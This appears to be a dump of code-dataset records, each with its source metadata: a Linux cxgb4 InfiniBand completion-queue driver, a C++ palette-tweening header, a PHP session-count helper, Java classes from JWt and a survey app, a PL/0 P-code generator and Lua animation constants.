res->u.cq.restype = FW_RI_RES_TYPE_CQ; res->u.cq.op = FW_RI_RES_OP_RESET; res->u.cq.iqid = cpu_to_be32(cq->cqid); c4iw_init_wr_wait(&wr_wait); ret = c4iw_ofld_send(rdev, skb); if (!ret) { ret = c4iw_wait_for_reply(rdev, &wr_wait, 0, 0, __func__); } kfree(cq->sw_queue); dma_free_coherent(&(rdev->lldi.pdev->dev), cq->memsize, cq->queue, dma_unmap_addr(cq, mapping)); c4iw_put_cqid(rdev, cq->cqid, uctx); return ret; } static int create_cq(struct c4iw_rdev *rdev, struct t4_cq *cq, struct c4iw_dev_ucontext *uctx) { struct fw_ri_res_wr *res_wr; struct fw_ri_res *res; int wr_len; int user = (uctx != &rdev->uctx); struct c4iw_wr_wait wr_wait; int ret; struct sk_buff *skb; cq->cqid = c4iw_get_cqid(rdev, uctx); if (!cq->cqid) { ret = -ENOMEM; goto err1; } if (!user) { cq->sw_queue = kzalloc(cq->memsize, GFP_KERNEL); if (!cq->sw_queue) { ret = -ENOMEM; goto err2; } } cq->queue = dma_alloc_coherent(&rdev->lldi.pdev->dev, cq->memsize, &cq->dma_addr, GFP_KERNEL); if (!cq->queue) { ret = -ENOMEM; goto err3; } dma_unmap_addr_set(cq, mapping, cq->dma_addr); memset(cq->queue, 0, cq->memsize); /* build fw_ri_res_wr */ wr_len = sizeof *res_wr + sizeof *res; skb = alloc_skb(wr_len, GFP_KERNEL); if (!skb) { ret = -ENOMEM; goto err4; } set_wr_txq(skb, CPL_PRIORITY_CONTROL, 0); res_wr = (struct fw_ri_res_wr *)__skb_put(skb, wr_len); memset(res_wr, 0, wr_len); res_wr->op_nres = cpu_to_be32( FW_WR_OP(FW_RI_RES_WR) | V_FW_RI_RES_WR_NRES(1) | FW_WR_COMPL(1)); res_wr->len16_pkd = cpu_to_be32(DIV_ROUND_UP(wr_len, 16)); res_wr->cookie = (unsigned long) &wr_wait; res = res_wr->res; res->u.cq.restype = FW_RI_RES_TYPE_CQ; res->u.cq.op = FW_RI_RES_OP_WRITE; res->u.cq.iqid = cpu_to_be32(cq->cqid); res->u.cq.iqandst_to_iqandstindex = cpu_to_be32( V_FW_RI_RES_WR_IQANUS(0) | V_FW_RI_RES_WR_IQANUD(1) | F_FW_RI_RES_WR_IQANDST | V_FW_RI_RES_WR_IQANDSTINDEX(*rdev->lldi.rxq_ids)); res->u.cq.iqdroprss_to_iqesize = cpu_to_be16( F_FW_RI_RES_WR_IQDROPRSS | V_FW_RI_RES_WR_IQPCIECH(2) | V_FW_RI_RES_WR_IQINTCNTTHRESH(0) | F_FW_RI_RES_WR_IQO | V_FW_RI_RES_WR_IQESIZE(1)); res->u.cq.iqsize = cpu_to_be16(cq->size); res->u.cq.iqaddr = cpu_to_be64(cq->dma_addr); c4iw_init_wr_wait(&wr_wait); ret = c4iw_ofld_send(rdev, skb); if (ret) goto err4; PDBG("%s wait_event wr_wait %p\n", __func__, &wr_wait); ret = c4iw_wait_for_reply(rdev, &wr_wait, 0, 0, __func__); if (ret) goto err4; cq->gen = 1; cq->gts = rdev->lldi.gts_reg; cq->rdev = rdev; if (user) { cq->ugts = (u64)pci_resource_start(rdev->lldi.pdev, 2) + (cq->cqid << rdev->cqshift); cq->ugts &= PAGE_MASK; } return 0; err4: dma_free_coherent(&rdev->lldi.pdev->dev, cq->memsize, cq->queue, dma_unmap_addr(cq, mapping)); err3: kfree(cq->sw_queue); err2: c4iw_put_cqid(rdev, cq->cqid, uctx); err1: return ret; } static void insert_recv_cqe(struct t4_wq *wq, struct t4_cq *cq) { struct t4_cqe cqe; PDBG("%s wq %p cq %p sw_cidx %u sw_pidx %u\n", __func__, wq, cq, cq->sw_cidx, cq->sw_pidx); memset(&cqe, 0, sizeof(cqe)); cqe.header = cpu_to_be32(V_CQE_STATUS(T4_ERR_SWFLUSH) | V_CQE_OPCODE(FW_RI_SEND) | V_CQE_TYPE(0) | V_CQE_SWCQE(1) | V_CQE_QPID(wq->sq.qid)); cqe.bits_type_ts = cpu_to_be64(V_CQE_GENBIT((u64)cq->gen)); cq->sw_queue[cq->sw_pidx] = cqe; t4_swcq_produce(cq); } int c4iw_flush_rq(struct t4_wq *wq, struct t4_cq *cq, int count) { int flushed = 0; int in_use = wq->rq.in_use - count; BUG_ON(in_use < 0); PDBG("%s wq %p cq %p rq.in_use %u skip count %u\n", __func__, wq, cq, wq->rq.in_use, count); while (in_use--) { insert_recv_cqe(wq, cq); flushed++; } return flushed; } static void insert_sq_cqe(struct t4_wq *wq, struct t4_cq *cq, struct t4_swsqe *swcqe) { struct t4_cqe cqe; PDBG("%s wq %p cq %p sw_cidx %u sw_pidx %u\n", __func__, wq, cq, cq->sw_cidx, cq->sw_pidx); memset(&cqe, 0, sizeof(cqe)); cqe.header = cpu_to_be32(V_CQE_STATUS(T4_ERR_SWFLUSH) | V_CQE_OPCODE(swcqe->opcode) | V_CQE_TYPE(1) | V_CQE_SWCQE(1) | V_CQE_QPID(wq->sq.qid)); CQE_WRID_SQ_IDX(&cqe) = swcqe->idx; cqe.bits_type_ts = cpu_to_be64(V_CQE_GENBIT((u64)cq->gen)); cq->sw_queue[cq->sw_pidx] = cqe; t4_swcq_produce(cq); } int c4iw_flush_sq(struct t4_wq *wq, struct t4_cq *cq, int count) { int flushed = 0; struct t4_swsqe *swsqe = &wq->sq.sw_sq[wq->sq.cidx + count]; int in_use = wq->sq.in_use - count; BUG_ON(in_use < 0); while (in_use--) { swsqe->signaled = 0; insert_sq_cqe(wq, cq, swsqe); swsqe++; if (swsqe == (wq->sq.sw_sq + wq->sq.size)) swsqe = wq->sq.sw_sq; flushed++; } return flushed; } /* * Move all CQEs from the HWCQ into the SWCQ. */ void c4iw_flush_hw_cq(struct t4_cq *cq) { struct t4_cqe *cqe = NULL, *swcqe; int ret; PDBG("%s cq %p cqid 0x%x\n", __func__, cq, cq->cqid); ret = t4_next_hw_cqe(cq, &cqe); while (!ret) { PDBG("%s flushing hwcq cidx 0x%x swcq pidx 0x%x\n", __func__, cq->cidx, cq->sw_pidx); swcqe = &cq->sw_queue[cq->sw_pidx]; *swcqe = *cqe; swcqe->header |= cpu_to_be32(V_CQE_SWCQE(1)); t4_swcq_produce(cq); t4_hwcq_consume(cq); ret = t4_next_hw_cqe(cq, &cqe); } } static int cqe_completes_wr(struct t4_cqe *cqe, struct t4_wq *wq) { if (CQE_OPCODE(cqe) == FW_RI_TERMINATE) return 0; if ((CQE_OPCODE(cqe) == FW_RI_RDMA_WRITE) && RQ_TYPE(cqe)) return 0; if ((CQE_OPCODE(cqe) == FW_RI_READ_RESP) && SQ_TYPE(cqe)) return 0; if (CQE_SEND_OPCODE(cqe) && RQ_TYPE(cqe) && t4_rq_empty(wq)) return 0; return 1; } void c4iw_count_scqes(struct t4_cq *cq, struct t4_wq *wq, int *count) { struct t4_cqe *cqe; u32 ptr; *count = 0; ptr = cq->sw_cidx; while (ptr != cq->sw_pidx) { cqe = &cq->sw_queue[ptr]; if ((SQ_TYPE(cqe) || ((CQE_OPCODE(cqe) == FW_RI_READ_RESP) && wq->sq.oldest_read)) && (CQE_QPID(cqe) == wq->sq.qid)) (*count)++; if (++ptr == cq->size) ptr = 0; } PDBG("%s cq %p count %d\n", __func__, cq, *count); } void c4iw_count_rcqes(struct t4_cq *cq, struct t4_wq *wq, int *count) { struct t4_cqe *cqe; u32 ptr; *count = 0; PDBG("%s count zero %d\n", __func__, *count); ptr = cq->sw_cidx; while (ptr != cq->sw_pidx) { cqe = &cq->sw_queue[ptr]; if (RQ_TYPE(cqe) && (CQE_OPCODE(cqe) != FW_RI_READ_RESP) && (CQE_QPID(cqe) == wq->sq.qid) && cqe_completes_wr(cqe, wq)) (*count)++; if (++ptr == cq->size) ptr = 0; } PDBG("%s cq %p count %d\n", __func__, cq, *count); } static void flush_completed_wrs(struct t4_wq *wq, struct t4_cq *cq) { struct t4_swsqe *swsqe; u16 ptr = wq->sq.cidx; int count = wq->sq.in_use; int unsignaled = 0; swsqe = &wq->sq.sw_sq[ptr]; while (count--) if (!swsqe->signaled) { if (++ptr == wq->sq.size) ptr = 0; swsqe = &wq->sq.sw_sq[ptr]; unsignaled++; } else if (swsqe->complete) { /* * Insert this completed cqe into the swcq. */ PDBG("%s moving cqe into swcq sq idx %u cq idx %u\n", __func__, ptr, cq->sw_pidx); swsqe->cqe.header |= htonl(V_CQE_SWCQE(1)); cq->sw_queue[cq->sw_pidx] = swsqe->cqe; t4_swcq_produce(cq); swsqe->signaled = 0; wq->sq.in_use -= unsignaled; break; } else break; } static void create_read_req_cqe(struct t4_wq *wq, struct t4_cqe *hw_cqe, struct t4_cqe *read_cqe) { read_cqe->u.scqe.cidx = wq->sq.oldest_read->idx; read_cqe->len = cpu_to_be32(wq->sq.oldest_read->read_len); read_cqe->header = htonl(V_CQE_QPID(CQE_QPID(hw_cqe)) | V_CQE_SWCQE(SW_CQE(hw_cqe)) | V_CQE_OPCODE(FW_RI_READ_REQ) | V_CQE_TYPE(1)); read_cqe->bits_type_ts = hw_cqe->bits_type_ts; } /* * Return a ptr to the next read wr in the SWSQ or NULL. */ static void advance_oldest_read(struct t4_wq *wq) { u32 rptr = wq->sq.oldest_read - wq->sq.sw_sq + 1; if (rptr == wq->sq.size) rptr = 0; while (rptr != wq->sq.pidx) { wq->sq.oldest_read = &wq->sq.sw_sq[rptr]; if (wq->sq.oldest_read->opcode == FW_RI_READ_REQ) return; if (++rptr == wq->sq.size) rptr = 0; } wq->sq.oldest_read = NULL; } /* * poll_cq * * Caller must: * check the validity of the first CQE, * supply the wq assicated with the qpid. * * credit: cq credit to return to sge. * cqe_flushed: 1 iff the CQE is flushed. * cqe: copy of the polled CQE. * * return value: * 0 CQE returned ok. * -EAGAIN CQE skipped, try again. * -EOVERFLOW CQ overflow detected. */ static int poll_cq(struct t4_wq *wq, struct t4_cq *cq, struct t4_cqe *cqe, u8 *cqe_flushed, u64 *cookie, u32 *credit) { int ret = 0; struct t4_cqe *hw_cqe, read_cqe; *cqe_flushed = 0; *credit = 0; ret = t4_next_cqe(cq, &hw_cqe); if (ret) return ret; PDBG("%s CQE OVF %u qpid 0x%0x genbit %u type %u status 0x%0x" " opcode 0x%0x len 0x%0x wrid_hi_stag 0x%x wrid_low_msn 0x%x\n", __func__, CQE_OVFBIT(hw_cqe), CQE_QPID(hw_cqe), CQE_GENBIT(hw_cqe), CQE_TYPE(hw_cqe), CQE_STATUS(hw_cqe), CQE_OPCODE(hw_cqe), CQE_LEN(hw_cqe), CQE_WRID_HI(hw_cqe), CQE_WRID_LOW(hw_cqe)); /* * skip cqe's not affiliated with a QP. */ if (wq == NULL) { ret = -EAGAIN; goto skip_cqe; } /* * Gotta tweak READ completions: * 1) the cqe doesn't contain the sq_wptr from the wr. * 2) opcode not reflected from the wr. * 3) read_len not reflected from the wr. * 4) cq_type is RQ_TYPE not SQ_TYPE. */ if (RQ_TYPE(hw_cqe) && (CQE_OPCODE(hw_cqe) == FW_RI_READ_RESP)) { /* * If this is an unsolicited read response, then the read * was generated by the kernel driver as part of peer-2-peer * connection setup. So ignore the completion. */ if (!wq->sq.oldest_read) { if (CQE_STATUS(hw_cqe)) t4_set_wq_in_error(wq); ret = -EAGAIN; goto skip_cqe; } /* * Don't write to the HWCQ, so create a new read req CQE * in local memory. */ create_read_req_cqe(wq, hw_cqe, &read_cqe); hw_cqe = &read_cqe; advance_oldest_read(wq); } if (CQE_STATUS(hw_cqe) || t4_wq_in_error(wq)) { *cqe_flushed = t4_wq_in_error(wq); t4_set_wq_in_error(wq); goto proc_cqe; } if (CQE_OPCODE(hw_cqe) == FW_RI_TERMINATE) { ret = -EAGAIN; goto skip_cqe; } /* * RECV completion. */ if (RQ_TYPE(hw_cqe)) { /* * HW only validates 4 bits of MSN. So we must validate that * the MSN in the SEND is the next expected MSN. If its not, * then we complete this with T4_ERR_MSN and mark the wq in * error. */ if (t4_rq_empty(wq)) { t4_set_wq_in_error(wq); ret = -EAGAIN; goto skip_cqe; } if (unlikely((CQE_WRID_MSN(hw_cqe) != (wq->rq.msn)))) { t4_set_wq_in_error(wq); hw_cqe->header |= htonl(V_CQE_STATUS(T4_ERR_MSN)); goto proc_cqe; } goto proc_cqe; } /* * If we get here its a send completion. * * Handle out of order completion. These get stuffed * in the SW SQ. Then the SW SQ is walked to move any * now in-order completions into the SW CQ. This handles * 2 cases: * 1) reaping unsignaled WRs when the first subsequent * signaled WR is completed. * 2) out of order read completions. */ if (!SW_CQE(hw_cqe) && (CQE_WRID_SQ_IDX(hw_cqe) != wq->sq.cidx)) { struct t4_swsqe *swsqe; PDBG("%s out of order completion going in sw_sq at idx %u\n", __func__, CQE_WRID_SQ_IDX(hw_cqe)); swsqe = &wq->sq.sw_sq[CQE_WRID_SQ_IDX(hw_cqe)]; swsqe->cqe = *hw_cqe; swsqe->complete = 1; ret = -EAGAIN; goto flush_wq; } proc_cqe: *cqe = *hw_cqe; /* * Reap the associated WR(s) that are freed up with this * completion. */ if (SQ_TYPE(hw_cqe)) { wq->sq.cidx = CQE_WRID_SQ_IDX(hw_cqe); PDBG("%s completing sq idx %u\n", __func__, wq->sq.cidx); *cookie = wq->sq.sw_sq[wq->sq.cidx].wr_id; t4_sq_consume(wq); } else { PDBG("%s completing rq idx %u\n", __func__, wq->rq.cidx); *cookie = wq->rq.sw_rq[wq->rq.cidx].wr_id; BUG_ON(t4_rq_empty(wq)); t4_rq_consume(wq); } flush_wq: /* * Flush any completed cqes that are now in-order. */ flush_completed_wrs(wq, cq); skip_cqe: if (SW_CQE(hw_cqe)) { PDBG("%s cq %p cqid 0x%x skip sw cqe cidx %u\n", __func__, cq, cq->cqid, cq->sw_cidx); t4_swcq_consume(cq); } else { PDBG("%s cq %p cqid 0x%x skip hw cqe cidx %u\n", __func__, cq, cq->cqid, cq->cidx); t4_hwcq_consume(cq); } return ret; } /* * Get one cq entry from c4iw and map it to openib. * * Returns: * 0 cqe returned * -ENODATA EMPTY; * -EAGAIN caller must try again * any other -errno fatal error */ static int c4iw_poll_cq_one(struct c4iw_cq *chp, struct ib_wc *wc) { struct c4iw_qp *qhp = NULL; struct t4_cqe cqe = {0, 0}, *rd_cqe; struct t4_wq *wq; u32 credit = 0; u8 cqe_flushed; u64 cookie = 0; int ret; ret = t4_next_cqe(&chp->cq, &rd_cqe); if (ret) return ret; qhp = get_qhp(chp->rhp, CQE_QPID(rd_cqe)); if (!qhp) wq = NULL; else { spin_lock(&qhp->lock); wq = &(qhp->wq); } ret = poll_cq(wq, &(chp->cq), &cqe, &cqe_flushed, &cookie, &credit); if (ret) goto out; wc->wr_id = cookie; wc->qp = &qhp->ibqp; wc->vendor_err = CQE_STATUS(&cqe); wc->wc_flags = 0; PDBG("%s qpid 0x%x type %d opcode %d status 0x%x len %u wrid hi 0x%x " "lo 0x%x cookie 0x%llx\n", __func__, CQE_QPID(&cqe), CQE_TYPE(&cqe), CQE_OPCODE(&cqe), CQE_STATUS(&cqe), CQE_LEN(&cqe), CQE_WRID_HI(&cqe), CQE_WRID_LOW(&cqe), (unsigned long long)cookie); if (CQE_TYPE(&cqe) == 0) { if (!CQE_STATUS(&cqe)) wc->byte_len = CQE_LEN(&cqe); else wc->byte_len = 0; wc->opcode = IB_WC_RECV; if (CQE_OPCODE(&cqe) == FW_RI_SEND_WITH_INV || CQE_OPCODE(&cqe) == FW_RI_SEND_WITH_SE_INV) { wc->ex.invalidate_rkey = CQE_WRID_STAG(&cqe); wc->wc_flags |= IB_WC_WITH_INVALIDATE; } } else { switch (CQE_OPCODE(&cqe)) { case FW_RI_RDMA_WRITE: wc->opcode = IB_WC_RDMA_WRITE; break; case FW_RI_READ_REQ: wc->opcode = IB_WC_RDMA_READ; wc->byte_len = CQE_LEN(&cqe); break; case FW_RI_SEND_WITH_INV: case FW_RI_SEND_WITH_SE_INV: wc->opcode = IB_WC_SEND; wc->wc_flags |= IB_WC_WITH_INVALIDATE; break; case FW_RI_SEND: case FW_RI_SEND_WITH_SE: wc->opcode = IB_WC_SEND; break; case FW_RI_BIND_MW: wc->opcode = IB_WC_BIND_MW; break; case FW_RI_LOCAL_INV: wc->opcode = IB_WC_LOCAL_INV; break; case FW_RI_FAST_REGISTER: wc->opcode = IB_WC_FAST_REG_MR; break; default: printk(KERN_ERR MOD "Unexpected opcode %d " "in the CQE received for QPID=0x%0x\n", CQE_OPCODE(&cqe), CQE_QPID(&cqe)); ret = -EINVAL; goto out; } } if (cqe_flushed) wc->status = IB_WC_WR_FLUSH_ERR; else { switch (CQE_STATUS(&cqe)) { case T4_ERR_SUCCESS: wc->status = IB_WC_SUCCESS; break; case T4_ERR_STAG: wc->status = IB_WC_LOC_ACCESS_ERR; break; case T4_ERR_PDID: wc->status = IB_WC_LOC_PROT_ERR; break; case T4_ERR_QPID: case T4_ERR_ACCESS: wc->status = IB_WC_LOC_ACCESS_ERR; break; case T4_ERR_WRAP: wc->status = IB_WC_GENERAL_ERR; break; case T4_ERR_BOUND: wc->status = IB_WC_LOC_LEN_ERR; break; case T4_ERR_INVALIDATE_SHARED_MR: case T4_ERR_INVALIDATE_MR_WITH_MW_BOUND: wc->status = IB_WC_MW_BIND_ERR; break; case T4_ERR_CRC: case T4_ERR_MARKER: case T4_ERR_PDU_LEN_ERR: case T4_ERR_OUT_OF_RQE: case T4_ERR_DDP_VERSION: case T4_ERR_RDMA_VERSION: case T4_ERR_DDP_QUEUE_NUM: case T4_ERR_MSN: case T4_ERR_TBIT: case T4_ERR_MO: case T4_ERR_MSN_RANGE: case T4_ERR_IRD_OVERFLOW: case T4_ERR_OPCODE: case T4_ERR_INTERNAL_ERR: wc->status = IB_WC_FATAL_ERR; break; case T4_ERR_SWFLUSH: wc->status = IB_WC_WR_FLUSH_ERR; break; default: printk(KERN_ERR MOD "Unexpected cqe_status 0x%x for QPID=0x%0x\n", CQE_STATUS(&cqe), CQE_QPID(&cqe)); ret = -EINVAL; } } out: if (wq) spin_unlock(&qhp->lock); return ret; } int c4iw_poll_cq(struct ib_cq *ibcq, int num_entries, struct ib_wc *wc) { struct c4iw_cq *chp; unsigned long flags; int npolled; int err = 0; chp = to_c4iw_cq(ibcq); spin_lock_irqsave(&chp->lock, flags); for (npolled = 0; npolled < num_entries; ++npolled) { do { err = c4iw_poll_cq_one(chp, wc + npolled); } while (err == -EAGAIN); if (err) break; } spin_unlock_irqrestore(&chp->lock, flags); return !err || err == -ENODATA ? npolled : err; } int c4iw_destroy_cq(struct ib_cq *ib_cq) { struct c4iw_cq *chp; struct c4iw_ucontext *ucontext; PDBG("%s ib_cq %p\n", __func__, ib_cq); chp = to_c4iw_cq(ib_cq); remove_handle(chp->rhp, &chp->rhp->cqidr, chp->cq.cqid); atomic_dec(&chp->refcnt); wait_event(chp->wait, !atomic_read(&chp->refcnt)); ucontext = ib_cq->uobject ? to_c4iw_ucontext(ib_cq->uobject->context) : NULL; destroy_cq(&chp->rhp->rdev, &chp->cq, ucontext ? &ucontext->uctx : &chp->cq.rdev->uctx); kfree(chp); return 0; } struct ib_cq *c4iw_create_cq(struct ib_device *ibdev, int entries, int vector, struct ib_ucontext *ib_context, struct ib_udata *udata) { struct c4iw_dev *rhp; struct c4iw_cq *chp; struct c4iw_create_cq_resp uresp; struct c4iw_ucontext *ucontext = NULL; int ret; size_t memsize, hwentries; struct c4iw_mm_entry *mm, *mm2; PDBG("%s ib_dev %p entries %d\n", __func__, ibdev, entries); rhp = to_c4iw_dev(ibdev); chp = kzalloc(sizeof(*chp), GFP_KERNEL); if (!chp) return ERR_PTR(-ENOMEM); if (ib_context) ucontext = to_c4iw_ucontext(ib_context); /* account for the status page. */ entries++; /* IQ needs one extra entry to differentiate full vs empty. */ entries++; /* * entries must be multiple of 16 for HW. */ entries = roundup(entries, 16); /* * Make actual HW queue 2x to avoid cdix_inc overflows. */ hwentries = entries * 2; /* * Make HW queue at least 64 entries so GTS updates aren't too * frequent. */ if (hwentries < 64) hwentries = 64; memsize = hwentries * sizeof *chp->cq.queue; /* * memsize must be a multiple of the page size if its a user cq. */ if (ucontext) { memsize = roundup(memsize, PAGE_SIZE); hwentries = memsize / sizeof *chp->cq.queue; while (hwentries > T4_MAX_IQ_SIZE) { memsize -= PAGE_SIZE; hwentries = memsize / sizeof *chp->cq.queue; } } chp->cq.size = hwentries; chp->cq.memsize = memsize; ret = create_cq(&rhp->rdev, &chp->cq, ucontext ? &ucontext->uctx : &rhp->rdev.uctx); if (ret) goto err1; chp->rhp = rhp; chp->cq.size--; /* status page */ chp->ibcq.cqe = entries - 2; spin_lock_init(&chp->lock); spin_lock_init(&chp->comp_handler_lock); atomic_set(&chp->refcnt, 1); init_waitqueue_head(&chp->wait); ret = insert_handle(rhp, &rhp->cqidr, chp, chp->cq.cqid); if (ret) goto err2; if (ucontext) { mm = kmalloc(sizeof *mm, GFP_KERNEL); if (!mm) goto err3; mm2 = kmalloc(sizeof *mm2, GFP_KERNEL); if (!mm2) goto err4; uresp.qid_mask = rhp->rdev.cqmask; uresp.cqid = chp->cq.cqid; uresp.size = chp->cq.size; uresp.memsize = chp->cq.memsize; spin_lock(&ucontext->mmap_lock); uresp.key = ucontext->key; ucontext->key += PAGE_SIZE; uresp.gts_key = ucontext->key; ucontext->key += PAGE_SIZE; spin_unlock(&ucontext->mmap_lock); ret = ib_copy_to_udata(udata, &uresp, sizeof uresp); if (ret) goto err5; mm->key = uresp.key; mm->addr = virt_to_phys(chp->cq.queue); mm->len = chp->cq.memsize; insert_mmap(ucontext, mm); mm2->key = uresp.gts_key; mm2->addr = chp->cq.ugts; mm2->len = PAGE_SIZE; insert_mmap(ucontext, mm2); } PDBG("%s cqid 0x%0x chp %p size %u memsize %zu, dma_addr 0x%0llx\n", __func__, chp->cq.cqid, chp, chp->cq.size, chp->cq.memsize, (unsigned long long) chp->cq.dma_addr); return &chp->ibcq; err5: kfree(mm2); err4: kfree(mm); err3: remove_handle(rhp, &rhp->cqidr, chp->cq.cqid); err2: destroy_cq(&chp->rhp->rdev, &chp->cq, ucontext ? &ucontext->uctx : &rhp->rdev.uctx); err1: kfree(chp); return ERR_PTR(ret); } int c4iw_resize_cq(struct ib_cq *cq, int cqe, struct ib_udata *udata) { return -ENOSYS; } int c4iw_arm_cq(struct ib_cq *ibcq, enum ib_cq_notify_flags flags) { struct c4iw_cq *chp; int ret; unsigned long flag; chp = to_c4iw_cq(ibcq); spin_lock_irqsave(&chp->lock, flag); ret = t4_arm_cq(&chp->cq, (flags & IB_CQ_SOLICITED_MASK) == IB_CQ_SOLICITED); spin_unlock_irqrestore(&chp->lock, flag); if (ret && !(flags & IB_CQ_REPORT_MISSED_EVENTS)) ret = 0; return ret; }
Jackeagle/android_kernel_sony_c2305
drivers/infiniband/hw/cxgb4/cq.c
C
gpl-2.0
23,369
// Copyleft 2008 Chris Korda // This program is free software; you can redistribute it and/or modify it // under the terms of the GNU General Public License as published by the Free // Software Foundation; either version 2 of the License, or any later version. /* chris korda revision history: rev date comments 00 21feb09 initial version 01 01mar09 cycle old palette during tween 02 08mar09 add MixDibs fractal rendering engine with palette tweening */ #ifndef CTWEENENGINE_INCLUDED #define CTWEENENGINE_INCLUDED #include "NetEngine.h" class CTweenEngine : public CNetEngine { public: // Construction CTweenEngine(); // Attributes void SetPalette(const DPalette& Palette, UINT Quality, UINT CycleLen, double Offset); bool IsTweening() const; void SetTweening(bool Enable); // Operations void ResetPalette(); void UpdatePalette(const DPalette& Palette, UINT CycleLen, double Offset); void UpdateTweenPalette(const DPalette& Palette, UINT CycleLen, double Offset); void TweenPalette(); void MapColorEx(CDib& Dib, const DIB_INFO& Info, bool Mirror, CPoint Origin); static void MixDibs(CDib& Dst, CDib& Src, const DIB_INFO& Info, double MixPos); protected: // Member data CDWordArray m_OldPal; // palette we're tweening from CDWordArray m_NewPal; // palette we're tweening to CDWordArray m_TweenPal; // tween output palette UINT m_Quality; // current quality bool m_Tweening; // true if we're tweening palette double m_TweenPos; // tweening position; 0 == old, 1 == new double m_TweenDelta; // tweening amount per frame UINT m_CycleLen; // current cycle length UINT m_OldCycleLen; // old palette's cycle length double m_ColorOffset; // current color offset double m_InitColorOfs; // color offset at start of tween }; inline bool CTweenEngine::IsTweening() const { return(m_Tweening); } inline void CTweenEngine::ResetPalette() { m_Palette.RemoveAll(); } #endif
victimofleisure/Fractice
trunk/TweenEngine.h
C
gpl-2.0
1,939
<?php /** * @version $Id: helper.php 21097 2011-04-07 15:38:03Z dextercowley $ * @copyright Copyright (C) 2005 - 2011 Cholalabs Software LLP. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE.txt */ // No direct access. defined('_JEXEC') or die; /** * @package Chola.Administrator * @subpackage mod_online * @since 1.6 */ abstract class modOnlineHelper { /** * Count the number of users online. * * @return mixed The number of users online, or false on error. */ public static function getOnlineCount() { $db = JFactory::getDbo(); $session = JFactory::getSession(); $sessionId = $session->getId(); $query = $db->getQuery(true); $query->select('COUNT(a.session_id)'); $query->from('#__session AS a'); $query->where('a.session_id <> '.$db->Quote($sessionId)); $db->setQuery($query); $result = (int) $db->loadResult(); if ($error = $db->getErrorMsg()) { JError::raiseWarning(500, $error); return false; } return $result; } }
cholalabs/CholaApps2.0
administrator/modules/mod_online/helper.php
PHP
gpl-2.0
1,023
/* * Copyright (C) 2020 Emweb bv, Herent, Belgium. * * See the LICENSE file for terms of use. */ package eu.webtoolkit.jwt; import eu.webtoolkit.jwt.chart.*; import eu.webtoolkit.jwt.servlet.*; import eu.webtoolkit.jwt.utils.*; import java.io.*; import java.lang.ref.*; import java.time.*; import java.util.*; import java.util.regex.*; import javax.servlet.*; import javax.servlet.http.*; /** * Enumeration for a JavaScript object type. * * <p>This is an internal JWt type. */ public enum JavaScriptObjectType { JavaScriptFunction, JavaScriptConstructor, JavaScriptObject, JavaScriptPrototype; /** Returns the numerical representation of this enum. */ public int getValue() { return ordinal(); } }
kdeforche/jwt
src/eu/webtoolkit/jwt/JavaScriptObjectType.java
Java
gpl-2.0
727
package com.key.dwsurvey.service.impl; import java.util.List; import com.key.dwsurvey.dao.AnCompChenRadioDao; import com.key.dwsurvey.entity.AnCompChenRadio; import com.key.dwsurvey.service.AnCompChenRadioManager; import org.hibernate.criterion.Criterion; import org.hibernate.criterion.Restrictions; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service; import com.key.common.service.BaseServiceImpl; /** * 复合矩陈单选题 * @author keyuan(keyuan258@gmail.com) * * https://github.com/wkeyuan/DWSurvey * http://dwsurvey.net */ @Service public class AnCompChenRadioManagerImpl extends BaseServiceImpl<AnCompChenRadio, String> implements AnCompChenRadioManager { @Autowired private AnCompChenRadioDao anCompChenRadioDao; @Override public void setBaseDao() { this.baseDao=anCompChenRadioDao; } @Override public List<AnCompChenRadio> findAnswer(String belongAnswerId, String quId) {//belongAnswerId quId Criterion criterion1=Restrictions.eq("belongAnswerId", belongAnswerId); Criterion criterion2=Restrictions.eq("quId", quId); return anCompChenRadioDao.find(criterion1,criterion2); } }
11hks11/sy
src/main/java/com/key/dwsurvey/service/impl/AnCompChenRadioManagerImpl.java
Java
gpl-2.0
1,215
// 生成P-code子程序 // pcode.cpp // Compiler-PL0 // // Created by TimmyXu on 15/1/5. // Copyright (c) 2015年 TimmyXu. All rights reserved. // #include "pcode.h" void gen(fct x, int y, int z) { if (cx > cxmax) { cout << "Program too long!" << endl; //TODO 关闭文件 return; } code[cx].f = x; code[cx].l = y; code[cx].a = z; cx++; } void listcode(int cx0) { for (int i = cx0; i < cx; i++) { cout << i << " " << mnemonic[code[i].f] << " " << code[i].l << " " << code[i].a << endl; } }
xsf72006/Compiler-PL0
Compiler-PL0/pcode.cpp
C++
gpl-2.0
562
mcc_startwalk = 0 mcc_stopwalk = 1 mcc_walk = 2 mcc_talk = 3 mcc_stop_talk = 4 mcc_run = 5 mcc_start_run = 6 mcc_stop_run = 7 mcc_rest = 8 mcc_turn_right = 9 mcc_walk_upstairs = 10 mcc_walk_downstairs = 11 mcc_putback_small = 12 mcc_putback_done = 13 mcc_takeout_get = 14 mcc_takeout_big = 15 mcc_back_off = 16 mcc_step_fwd = 17 mcc_hand_on_obj = 18 mcc_hand_off_obj = 19 mcc_use_obj = 20 mcc_takeout_empty = 21 mcc_swivel_lf = 22 mcc_swivel_rt = 23 mcc_a = 24 mcc_c = 25 mcc_e = 26 mcc_l = 27 mcc_f = 28 mcc_m = 29 mcc_o = 30 mcc_u = 31 mcc_no_talk = 32 mcc_mumble = 33 mcc_reach_high = 34 mcc_reach_med = 35 mcc_takeout_small = 36 mcc_hold = 37 mcc_hold_scythe = 38 mcc_putback_big = 39 mcc_reach_low = 40 mcc_reach_cabinet = 41 mcc_give = 42 mcc_give_hold = 43 mcc_give_exit = 44 mcc_activate_hand = 45 mcc_activate_mug = 46 mcc_activate_sproutella = 47 mcc_activate_nitro = 48 mcc_activate_rag = 49 mcc_activate_grinder = 50 mcc_activate_oily_rag = 51 mcc_activate_bottle = 52 mcc_lf_hand_on_obj = 53 mcc_lf_hand_off_obj = 54 mcc_activate_coffeepot = 55 mcc_activate_lsa_photo = 56 mcc_use_grinder = 57 mcc_activate_grinder_empty = 58 mcc_activate_grinder_full = 59
PAPAGENO-devels/papageno
test/benchmarks/Lua/lua-regression-test/grim/mcc.lua
Lua
gpl-2.0
1,170
